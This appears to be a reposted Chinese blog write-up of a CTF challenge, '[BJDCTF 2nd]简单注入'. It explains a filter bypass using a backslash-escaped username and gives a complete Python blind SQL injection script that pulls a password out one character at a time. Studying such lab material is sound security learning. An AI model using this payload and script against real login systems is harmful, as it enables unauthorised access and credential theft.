首页 > 其他 > 详细

[BJDCTF 2nd]简单注入

时间:2020-07-16 13:25:32      阅读:151      评论:0      收藏:0      [点我收藏+]

扫描目录后发现robots.txt

技术分享图片

 

 

 访问hint.txt

技术分享图片

 

 

 题目提示了一句SQL语句

select * from users where username=$_POST["username"] and password=$_POST["password"];

返回首页,输入admin‘/admin尝试登陆,发现过滤了单引号

技术分享图片

 

 使用字典测试一下过滤了那些

技术分享图片

 

 发现他过滤了union,select,=,-,and,like,;等关键字,过滤了union select不能使用联合注入,使用报错注入没有回显,考点应该是盲注

 重新回到提示的SQL语句

select * from users where username=$_POST["username"] and password=$_POST["password"];

我们可以输入admin\ 和 or 1#,也就是构造如下SQL语句,这样password字段后面的语句便可以逃逸执行

select * from users where username=admin\ and password=or 1#;

技术分享图片

 

可以发现从You konw ,P3rh4ps needs a girl friend变成了BJD needs to be stronger,存在盲注,这样就可以编写脚本来获取password字段的值

首先构造核心payLoad:

‘or/**/(ascii(substr(password,{},1))>{})#‘.format(i,j)

完整脚本如下:

import requests

url = "http://f6cf878f-d201-4590-aa11-0b2e9d4abce5.node3.buuoj.cn/index.php"
flag = ""

for i in range(1, 50):
    for j in range(32, 126):
        payload = "or/**/(ascii(substr(password,{},1))>{})#".format(i, j)
        data = {"username": "admin\\", "password": payload}
        re = requests.post(url, data=data)
        if "P3rh4ps" in re.text:
            flag += chr(j)
            print(flag)
            break

技术分享图片

 

 跑出password后,登陆便可获取到flag

技术分享图片

 

 

[BJDCTF 2nd]简单注入

原文:https://www.cnblogs.com/gtx690/p/13321612.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!